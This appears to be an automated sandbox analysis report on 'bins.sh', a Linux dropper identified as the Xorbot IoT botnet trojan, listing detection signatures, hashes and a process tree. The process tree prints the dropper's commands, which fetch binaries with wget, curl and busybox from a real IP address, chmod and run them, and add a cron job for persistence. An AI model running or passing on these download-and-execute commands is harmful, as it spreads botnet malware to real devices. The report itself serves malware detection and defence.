Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20250619-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    08/09/2025, 15:55

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250908-tcvtjsfq21
  • SHA256 1b4ce05f381395004e2900f62fc20d1ed84b4dfa3dc7d5ef0aa71cf17103b281
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
botnetdefense_evasiondiscoveryexecutionxorbotpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1097) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1513
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1514
      • /usr/bin/wget
        wget http://178.16.54.252/bins/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
        • Writes file to tmp directory
        PID:1515
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
        • Writes file to tmp directory
        PID:1520
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
        • Writes file to tmp directory
        PID:1521
      • /bin/chmod
        chmod 777 lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
        • File and Directory Permissions Modification
        PID:1522
      • /tmp/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        ./lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
          PID:1523
        • /bin/rm
          rm lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
          2⤵
            PID:1525
          • /usr/bin/wget
            wget http://178.16.54.252/bins/icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /bin/chmod
            chmod 777 icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
            2⤵
            • File and Directory Permissions Modification
            PID:1529
          • /tmp/icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
            ./icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
            2⤵
              PID:1530
            • /bin/rm
              rm icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
              2⤵
                PID:1532
              • /usr/bin/wget
                wget http://178.16.54.252/bins/RUOj5GlR9MVqL1cxnZBuv921hH2bSY58OK
                2⤵
                • Writes file to tmp directory
                PID:1533
              • /usr/bin/curl
                curl -O http://178.16.54.252/bins/RUOj5GlR9MVqL1cxnZBuv921hH2bSY58OK
                2⤵
                • Writes file to tmp directory
                PID:1534
              • /bin/busybox
                /bin/busybox wget http://178.16.54.252/bins/RUOj5GlR9MVqL1cxnZBuv921hH2bSY58OK
                2⤵
                • Writes file to tmp directory
                PID:1535
              • /bin/chmod
                chmod 777 RUOj5GlR9MVqL1cxnZBuv921hH2bSY58OK
                2⤵
                • File and Directory Permissions Modification
                PID:1536
              • /tmp/RUOj5GlR9MVqL1cxnZBuv921hH2bSY58OK
                ./RUOj5GlR9MVqL1cxnZBuv921hH2bSY58OK
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:1537
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1539
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1540
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1541
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1542
                    • /bin/rm
                      rm RUOj5GlR9MVqL1cxnZBuv921hH2bSY58OK
                      2⤵
                        PID:1544
                      • /usr/bin/wget
                        wget http://178.16.54.252/bins/xnteet9MGUEDlm3GSzVyYdsRGfkopTAw2O
                        2⤵
                        • Writes file to tmp directory
                        PID:1547

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          RUOj5GlR9MVqL1cxnZBuv921hH2bSY58OK
                          • Path /tmp/RUOj5GlR9MVqL1cxnZBuv921hH2bSY58OK
                          • Size 113KB
                          • SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
                          • Path /tmp/icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
                          • Size 107KB
                          • SHA256 fa34cf14bba7b0ef493975bfb844eba1971d9c2902b7cc3efded5e25d8c6d405
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
                          • Path /tmp/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
                          • Size 141KB
                          • SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          xnteet9MGUEDlm3GSzVyYdsRGfkopTAw2O
                          • Path /tmp/xnteet9MGUEDlm3GSzVyYdsRGfkopTAw2O
                          • Size 12KB
                          • SHA256 514d8b0e99407611eee8315bad07ac0335d7596fe93063abcbbc4a6856848fb8
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.lrGB84
                          • Path /var/spool/cron/crontabs/tmp.lrGB84
                          • Size 210B
                          • SHA256 9035fd040699dd5418b08f91cfd53a25d430d00bb07239fb6dcc782e73d830ff
                          • MD5 SHA1 SHA512
                          Submit Download